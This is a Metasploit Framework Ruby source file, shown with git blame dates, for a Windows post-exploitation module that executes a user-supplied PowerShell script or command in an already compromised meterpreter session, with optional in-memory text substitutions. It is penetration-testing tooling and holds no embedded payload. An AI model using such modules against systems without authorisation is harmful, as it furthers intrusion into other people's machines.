metasploit-framework/modules/post/windows/manage/exec_powershell.rb

58 lines
1.8 KiB
Ruby
Raw Normal View History

2015-05-21 04:32:31 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'msf/core/post/windows/powershell'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Post
2015-05-20 23:08:50 +00:00
include Msf::Post::Windows::Powershell
2015-05-20 23:08:50 +00:00
def initialize(info={})
super(update_info(info,
'Name' => "Windows Powershell Execution Post Module",
'Description' => %q{
This module will execute a powershell script in a meterpreter session.
The user may also enter text substitutions to be made in memory before execution.
Setting VERBOSE to true will output both the script prior to execution and the results.
},
'License' => MSF_LICENSE,
'Platform' => ['windows'],
'SessionTypes' => ['meterpreter'],
'Author' => [
'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script
'RageLtMan' # post module and libs
]
))
2015-05-20 23:08:50 +00:00
register_options(
[
2015-10-20 18:09:17 +00:00
OptString.new( 'SCRIPT', [true, 'Path to the local PS script or command string to execute']),
2015-05-20 23:08:50 +00:00
], self.class)
2015-05-20 23:08:50 +00:00
register_advanced_options(
[
2015-10-20 18:09:17 +00:00
OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub']),
2015-05-20 23:08:50 +00:00
], self.class)
2015-05-20 23:08:50 +00:00
end
2015-05-20 23:08:50 +00:00
def run
2015-05-20 23:08:50 +00:00
# Make sure we meet the requirements before running the script, note no need to return
# unless error
raise "Powershell not available" if ! have_powershell?
# Preprocess the Powershell::Script object with substitions from Exploit::Powershell
2015-10-20 18:09:17 +00:00
script = make_subs(read_script(datastore['SCRIPT']), process_subs(datastore['SUBSTITUTIONS']))
# Execute in session
2015-05-20 23:08:50 +00:00
print_status psh_exec(script)
2015-10-20 18:09:17 +00:00
print_good 'Finished!'
2015-05-20 23:08:50 +00:00
end
end